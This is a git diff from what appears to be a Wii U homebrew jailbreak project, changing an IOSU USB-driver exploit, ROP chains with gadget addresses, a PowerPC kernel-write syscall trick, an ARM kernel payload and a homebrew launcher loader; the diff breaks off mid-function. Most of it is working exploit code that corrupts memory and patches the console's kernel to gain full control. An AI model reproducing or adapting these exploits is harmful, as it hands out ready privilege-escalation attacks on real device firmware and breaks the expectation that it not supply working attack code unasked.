diff --git a/Makefile b/Makefile index e834aae..cb266ad 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,11 @@ .PHONY := all code550.bin +ifeq ($(Windows_NT), 1) + ZIP = zip/zip.exe +else + ZIP = zip +endif + all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip brainage_cfw.zip kirby_cfw.zip yoshids_cfw.zip brainage: setup_brainage brainage.nds setup_brainage_cfw brainage_cfw.nds @@ -71,24 +77,24 @@ yoshids_cfw.nds: cp yoshids_cfw.nds wwtouched_cfw.nds brainage.zip: - zip -JXjq9 brainage.zip brainage.nds + $(ZIP) -JXjq9 brainage.zip brainage.nds kirby.zip: - zip -JXjq9 kirby.zip kirby.nds + $(ZIP) -JXjq9 kirby.zip kirby.nds yoshids.zip: - zip -JXjq9 yoshids.zip yoshids.nds - zip -JXjq9 wwtouched.zip wwtouched.nds + $(ZIP) -JXjq9 yoshids.zip yoshids.nds + $(ZIP) -JXjq9 wwtouched.zip wwtouched.nds brainage_cfw.zip: - zip -JXjq9 brainage_cfw.zip brainage_cfw.nds + $(ZIP) -JXjq9 brainage_cfw.zip brainage_cfw.nds kirby_cfw.zip: - zip -JXjq9 kirby_cfw.zip kirby_cfw.nds + $(ZIP) -JXjq9 kirby_cfw.zip kirby_cfw.nds yoshids_cfw.zip: - zip -JXjq9 yoshids_cfw.zip yoshids_cfw.nds - zip -JXjq9 wwtouched_cfw.zip wwtouched_cfw.nds + $(ZIP) -JXjq9 yoshids_cfw.zip yoshids_cfw.nds + $(ZIP) -JXjq9 wwtouched_cfw.zip wwtouched_cfw.nds clean: @rm -f *.bin defines.s brainage.nds brainage.zip kirby.nds kirby.zip wwtouched.nds wwtouched.zip yoshids.nds yoshids.zip diff --git a/cfw_booter/Makefile b/cfw_booter/Makefile index 0e9541d..e1b5d1b 100644 --- a/cfw_booter/Makefile +++ b/cfw_booter/Makefile @@ -2,7 +2,7 @@ PATH := $(DEVKITPPC)/bin:$(PATH) PREFIX ?= powerpc-eabi- CC = $(PREFIX)gcc AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O0 -nostdinc -fno-builtin -g +CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin ASFLAGS = -mregnames -x assembler-with-cpp LD = $(PREFIX)ld OBJCOPY = $(PREFIX)objcopy @@ -37,7 +37,7 @@ main: $(CURDIR)/payload/arm_kernel_bin.h cp -r $(root)/*.o $(build) rm $(root)/*.o $(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map - $(OBJCOPY) code$(FIRMWARE).elf -O binary ../code$(FIRMWARE).bin + $(OBJCOPY) code$(FIRMWARE).elf -S -O binary ../code$(FIRMWARE).bin clean: rm -rf $(build) payload diff --git a/cfw_booter/arm_kernel/source/main.c b/cfw_booter/arm_kernel/source/main.c index 4c675e3..e810c21 100644 --- a/cfw_booter/arm_kernel/source/main.c +++ b/cfw_booter/arm_kernel/source/main.c @@ -70,7 +70,7 @@ int _main() unsigned int control_register = disable_mmu(); /* Save the request handle so we can reply later */ - *(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18; + *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; /* Patch kernel_error_handler to BX LR immediately */ *(int*)0x08129A24 = 0xE12FFF1E; @@ -84,7 +84,7 @@ int _main() void * pusb_root_thread = (void*)0x10100174; kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); - void * pUserBinSource = (void*)0x00148000; + void * pUserBinSource = (void*)0x01E50000; void * pUserBinDest = (void*)0x101312D0; kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); diff --git a/cfw_booter/arm_user/source/main.c b/cfw_booter/arm_user/source/main.c index 78cc80d..6f90ca5 100644 --- a/cfw_booter/arm_user/source/main.c +++ b/cfw_booter/arm_user/source/main.c @@ -9,7 +9,7 @@ void _main() int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; - int saved_handle = *(volatile u32*)0x0012F000; + int saved_handle = *(volatile u32*)0x01E10000; int myret = reply(saved_handle, 0); if (myret != 0) ios_shutdown(1); diff --git a/cfw_booter/main.c b/cfw_booter/main.c index 3f62b78..d64a869 100644 --- a/cfw_booter/main.c +++ b/cfw_booter/main.c @@ -4,7 +4,7 @@ #define CHAIN_START 0x1016AD40 #define SHUTDOWN 0x1012EE4C #define SIMPLE_RETURN 0x101014E4 -#define SOURCE (0x120000) +#define SOURCE 0x01E20000 #define IOS_CREATETHREAD 0x1012EABC #define ARM_CODE_BASE 0x08134100 #define REPLACE_SYSCALL 0x081298BC @@ -217,7 +217,7 @@ static const int final_chain[] = { sizeof(arm_kernel_bin), // 0x1FC our code size 0x0, // 0x200 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x00140000, // 0x208 our code source location + 0x01E40000, // 0x208 our code source location 0x08131D04, // 0x20C KERNEL_MEMCPY address 0x0, // 0x210 0x0, // 0x214 @@ -233,7 +233,7 @@ static const int second_chain[] = { 0x0, // 0x08 0x0, // 0x0C 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x00130000, // 0x14 source + 0x01E30000, // 0x14 source sizeof(final_chain), // 0x18 length 0x0, // 0x1C 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} @@ -283,22 +283,8 @@ static const int second_chain[] = { static void uhs_exploit_init(unsigned int coreinit_handle); static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val); -void __main(void) { - - unsigned int sound_handle = 0; - OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); - if(sound_handle == 0) - { - /* Quit ongoing menu load music */ - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - void (* AXInit)(); - void (* AXQuit)(); - OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit); - OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit); - AXInit(); - AXQuit(); - } - +void __main(void) +{ unsigned int coreinit_handle; OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); unsigned int sysapp_handle; @@ -337,58 +323,65 @@ void __main(void) { OSExitThread(0); } -static void uhs_exploit_init(unsigned int coreinit_handle) { - void (*DCFlushRange)(const void *addr, uint32_t length); - void (*DCInvalidateRange)(const void *addr, uint32_t length); +static void uhs_exploit_init(unsigned int coreinit_handle) +{ + void (*DCStoreRange)(const void *addr, uint32_t length); void (*memcpy)(void *dst, const void *src, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + void (*memset)(void *dst, const char val, uint32_t length); + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + + //! Clear out our used MEM1 area + memset((void*)0xF5E00000, 0, 0x00070000); + DCStoreRange((void*)0xF5E00000, 0x00070000); //!------Variables used in exploit------ - int *pretend_root_hub = (int*)0xF5003ABC; - int *ayylmao = (int*)0xF4F00000; + int *pretend_root_hub = (int*)0xF5E60640; + int *ayylmao = (int*)0xF5E00000; //!------------------------------------- ayylmao[5] = 1; - ayylmao[8] = 0xF00000; + ayylmao[8] = 0x1E00000; - memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF4140000), arm_kernel_bin, sizeof(arm_kernel_bin)); - memcpy((char*)(0xF4148000), arm_user_bin, sizeof(arm_user_bin)); + memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); + memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); - pretend_root_hub[33] = 0xF00000; + pretend_root_hub[33] = 0x1E00000; pretend_root_hub[78] = 0; - DCFlushRange(pretend_root_hub + 33, 200); //! |Make CPU fetch new data (with updated vals) - DCInvalidateRange(pretend_root_hub + 33, 200); //! |for "pretend_root_hub" + //! Store current CPU cache into main memory for IOSU to read + DCStoreRange(ayylmao, 0x840); - DCFlushRange((void*)0xF4120000, sizeof(second_chain)); //! |Make CPU fetch new data (with updated vals) - DCFlushRange((void*)0xF4130000, sizeof(final_chain)); //! |Make CPU fetch new data (with updated vals) - DCFlushRange((void*)0xF4140000, sizeof(arm_kernel_bin)); //! |Make CPU fetch new data (with updated vals) - DCFlushRange((void*)0xF4148000, sizeof(arm_user_bin)); //! |Make CPU fetch new data (with updated vals) + DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); + DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); + DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); + DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); + + DCStoreRange(pretend_root_hub, 0x160); } -static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) { - void (*DCFlushRange)(const void *addr, uint32_t length); - void (*DCInvalidateRange)(const void *addr, uint32_t length); +static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) +{ + void (*DCStoreRange)(const void *addr, uint32_t length); void (*OSSleepTicks)(uint64_t ticks); int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); //!------Variables used in exploit------ - int *ayylmao = (int*)0xF4F00000; + int *ayylmao = (int*)0xF5E00000; //!------------------------------------- - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCFlushRange(ayylmao, 521 * 4); //! |Make CPU fetch new data (with updated adress) - DCInvalidateRange(ayylmao, 521 * 4); //! |for "ayylmao" - OSSleepTicks(0x200000); //! Improves stability - int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read + OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU + //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, + //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 + int request_buffer[] = { -(0xB349B), val }; int output_buffer[32]; return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); } diff --git a/haxchi_rop.s b/haxchi_rop.s index 744757a..58d8edc 100644 --- a/haxchi_rop.s +++ b/haxchi_rop.s @@ -118,8 +118,10 @@ rop_hook_start: .arm.big rop_start: - ; quit out of GX2 so we can re-use it in core 0 + ; do hachihachi cleanups so we can use everything safely + call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 + call_func CORE_SHUTDOWN, 0, 0, 0, 0 ; set up hbl_loader in core 0 call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 @@ -198,10 +200,6 @@ rop_start: call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - ; clean up the rest of hachihachi - call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 - call_func CORE_SHUTDOWN, 0, 0, 0, 0 - ; prepare system for foreground release call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 diff --git a/hbl_loader/Makefile b/hbl_loader/Makefile index 9e3d839..fd7092b 100644 --- a/hbl_loader/Makefile +++ b/hbl_loader/Makefile @@ -2,7 +2,7 @@ PATH := $(DEVKITPPC)/bin:$(PATH) PREFIX ?= powerpc-eabi- CC = $(PREFIX)gcc AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O0 -nostdinc -fno-builtin -g +CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin ASFLAGS = -mregnames -x assembler-with-cpp LD = $(PREFIX)ld OBJCOPY = $(PREFIX)objcopy @@ -37,7 +37,7 @@ main: sd_loader.h cp -r $(root)/*.o $(build) rm $(root)/*.o $(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map - $(OBJCOPY) code$(FIRMWARE).elf -O binary ../code$(FIRMWARE).bin + $(OBJCOPY) code$(FIRMWARE).elf -S -O binary ../code$(FIRMWARE).bin clean: rm -rf $(build) diff --git a/hbl_loader/common.h b/hbl_loader/common.h index 3f2aafa..71beaae 100644 --- a/hbl_loader/common.h +++ b/hbl_loader/common.h @@ -7,7 +7,7 @@ extern "C" { #include "os_defs.h" -#define HBL_VERSION "v1.3" +#define HBL_VERSION "v1.4" #define CAFE_OS_SD_PATH "/vol/external01" #define SD_PATH "sd:" @@ -19,11 +19,16 @@ extern "C" { #define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) +#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) +#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) +#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) #define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) #define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) +#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) + #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 #endif diff --git a/hbl_loader/kexploit.c b/hbl_loader/kexploit.c index da3ad8d..5fa4419 100644 --- a/hbl_loader/kexploit.c +++ b/hbl_loader/kexploit.c @@ -18,22 +18,13 @@ void run_kexploit(private_data_t *private_data) /* Exit functions */ void (*__PPCExit)(); - void (*_Exit)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - + /* Memory functions */ void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*DCTouchRange)(void *buffer, uint32_t length); - uint32_t (*OSEffectiveToPhysical)(void *vaddr); void* (*OSAllocFromSystem)(uint32_t size, int align); void (*OSFreeToSystem)(void *ptr); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); diff --git a/hbl_loader/launcher.c b/hbl_loader/launcher.c index 1a79277..b20d5d8 100644 --- a/hbl_loader/launcher.c +++ b/hbl_loader/launcher.c @@ -23,9 +23,17 @@ #define ROOTRPX_DBAT0L_VAL 0x30000012 #define COREINIT_DBAT0L_VAL 0x32000012 +#define address_LiWaitIopComplete 0x01010180 +#define address_LiWaitIopCompleteWithInterrupts 0x0101006C +#define address_LiWaitOneChunk 0x0100080C +#define address_PrepareTitle_hook 0xFFF184E4 +#define address_sgIsLoadingBuffer 0xEFE19E80 +#define address_gDynloadInitialized 0xEFE13DBC + /* Install functions */ static void InstallMain(private_data_t *private_data); static void InstallPatches(private_data_t *private_data); +static void PrepareScreen(private_data_t *private_data); static void ExitFailure(private_data_t *private_data, const char *failure); static void SetupKernelSyscall(unsigned int addr); @@ -41,20 +49,6 @@ extern void KernelPatches(void); /* ****************************************************************** */ void __main(void) { - unsigned int sound_handle = 0; - OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); - if(sound_handle == 0) - { - /* Quit ongoing menu load music */ - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - void (* AXInit)(); - void (* AXQuit)(); - OSDynLoad_FindExport(sound_handle, 0, "AXInit", &AXInit); - OSDynLoad_FindExport(sound_handle, 0, "AXQuit", &AXQuit); - AXInit(); - AXQuit(); - } - /* Get coreinit handle and keep it in memory */ unsigned int coreinit_handle; OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); @@ -86,56 +80,16 @@ void __main(void) if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) run_kexploit(&private_data); - /* Prepare for _SYSLaunchMiiStudio thread */ - int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); - int (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); + /* Since we inited GX2 without initing the screen before do that now */ + /* Without this the hbl load will have some screen corruptions */ + PrepareScreen(&private_data); - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - /* Allocate a stack for the thread */ - void *stack = private_data.MEMAllocFromDefaultHeapEx(0x1000, 0x20); - /* Create the thread variable */ - void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8); - if(!thread || !stack) - ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser."); - - /* Quickly find _SYSLaunchMiiStudio */ + /* Do SYSLaunchMiiStudio to boot HBL */ unsigned int sysapp_handle; - void (*_SYSLaunchMiiStudio)(void) = 0; + void (*SYSLaunchMiiStudio)(void) = 0; OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio); - if(_SYSLaunchMiiStudio == (void*)0) - OSFatal("_SYSLaunchMiiStudio is not there?"); - - /* Do _SYSLaunchMiiStudio in core 1 */ - int ret = OSCreateThread(thread, _SYSLaunchMiiStudio, 0, (void*)0, (unsigned int)stack+0x1000, 0x1000, 0, 0x1A); - if (ret == 0) - ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); - - /* Schedule it for execution */ - OSResumeThread(thread); - - /* Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate */ - while(OSIsThreadTerminated(thread) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } - - /* Free thread memory and stack */ - private_data.MEMFreeToDefaultHeap(thread); - private_data.MEMFreeToDefaultHeap(stack); + OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMiiStudio", &SYSLaunchMiiStudio); + SYSLaunchMiiStudio(); /* setup kernel copy data syscall */ kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); @@ -156,23 +110,20 @@ void __main(void) OSExitThread(0); } -void ExitFailure(private_data_t *private_data, const char *failure) +void PrepareScreen(private_data_t *private_data) { - /************************************************************************/ // Prepare screen void (*OSScreenInit)(); unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); // Prepare screen int screen_buf0_size = 0; @@ -197,6 +148,18 @@ void ExitFailure(private_data_t *private_data, const char *failure) // Flip buffers OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); +} + +void ExitFailure(private_data_t *private_data, const char *failure) +{ + /************************************************************************/ + unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); + unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); + + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); OSScreenPutFontEx(1, 0, 0, failure); @@ -404,6 +367,15 @@ static void InstallPatches(private_data_t *private_data) osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; + + osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; + osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; + osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; + osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; + osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; + osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; + osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; + //! pointer to main entry point of a title osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; diff --git a/hbl_loader/os_defs.h b/hbl_loader/os_defs.h index 48a4c8f..b92c527 100644 --- a/hbl_loader/os_defs.h +++ b/hbl_loader/os_defs.h @@ -16,8 +16,23 @@ typedef struct _OsSpecifics unsigned int addr_KernSyscallTbl3; unsigned int addr_KernSyscallTbl4; unsigned int addr_KernSyscallTbl5; + + int (*LiWaitIopComplete)(int, int *); + int (*LiWaitIopCompleteWithInterrupts)(int, int *); + unsigned int addr_LiWaitOneChunk; + unsigned int addr_PrepareTitle_hook; + unsigned int addr_sgIsLoadingBuffer; + unsigned int addr_gDynloadInitialized; + unsigned int orig_LiWaitOneChunkInstr; } OsSpecifics; +typedef struct _s_mem_area +{ + unsigned int address; + unsigned int size; + struct _s_mem_area* next; +} s_mem_area; + #ifdef __cplusplus } #endif diff --git a/hbl_loader/sd_loader/src/entry.c b/hbl_loader/sd_loader/src/entry.c index 5e9f018..5d7db8f 100644 --- a/hbl_loader/sd_loader/src/entry.c +++ b/hbl_loader/sd_loader/src/entry.c @@ -3,13 +3,11 @@ #include "../../common.h" #include "../../fs_defs.h" #include "../../os_defs.h" - -#define CODE_RW_BASE_OFFSET 0 -#define DATA_RW_BASE_OFFSET 0 +#include "kernel_defs.h" +#include "loader_defs.h" #define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); - -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) +#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) typedef struct _private_data_t { @@ -19,10 +17,8 @@ typedef struct _private_data_t EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); EXPORT_DECL(void, OSFatal, const char* msg); - EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); - EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); - EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); - EXPORT_DECL(void, exit, void); + EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*); + EXPORT_DECL(void, exit, int); EXPORT_DECL(int, FSInit, void); EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); @@ -39,6 +35,333 @@ typedef struct _private_data_t EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); } private_data_t; +static void (*DCFlushRange)(void *addr, unsigned int size); +static void (*DCInvalidateRange)(void *addr, unsigned int size); +static void (*ICInvalidateRange)(void *addr, unsigned int size); +static unsigned int hook_LiWaitOneChunk; +static unsigned int addrphys_LiWaitOneChunk; + +extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); +extern void my_PrepareTitle_hook(void); + +/* Write a 32-bit word with kernel permissions */ +static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) +{ + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} + +static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) +{ + /* + * Setup a DBAT access with cache inhibited to write through and read directly from memory + */ + unsigned int dbatu0, dbatl0, dbatu1, dbatl1; + // save the original DBAT value + asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); + asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); + asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); + asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); + + unsigned int target_dbatu0 = 0; + unsigned int target_dbatl0 = 0; + unsigned int target_dbatu1 = 0; + unsigned int target_dbatl1 = 0; + + unsigned int *dst_p = (unsigned int*)addr; + unsigned int *src_p = (unsigned int*)src; + + // we only need DBAT modification for addresses out of our own DBAT range + // as our own DBAT is available everywhere for user and supervisor + // since our own DBAT is on DBAT5 position we don't collide here + if(addr < 0x00800000 || addr >= 0x01000000) + { + target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; + target_dbatl0 = (addr & 0xFFF00000) | 0x32; + asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); + dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); + } + if(src < 0x00800000 || src >= 0x01000000) + { + target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; + target_dbatl1 = (src & 0xFFF00000) | 0x32; + + asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); + src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); + } + + asm volatile("eieio; isync"); + + unsigned int i; + for(i = 0; i < len; i += 4) + { + // if we are on the edge to next chunk + if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) + { + target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; + target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; + dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); + + asm volatile("eieio; isync"); + asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); + asm volatile("eieio; isync"); + } + if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) + { + target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; + target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; + src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); + + asm volatile("eieio; isync"); + asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); + asm volatile("eieio; isync"); + } + + *dst_p = *src_p; + + ++dst_p; + ++src_p; + } + + /* + * Restore original DBAT value + */ + asm volatile("eieio; isync"); + asm 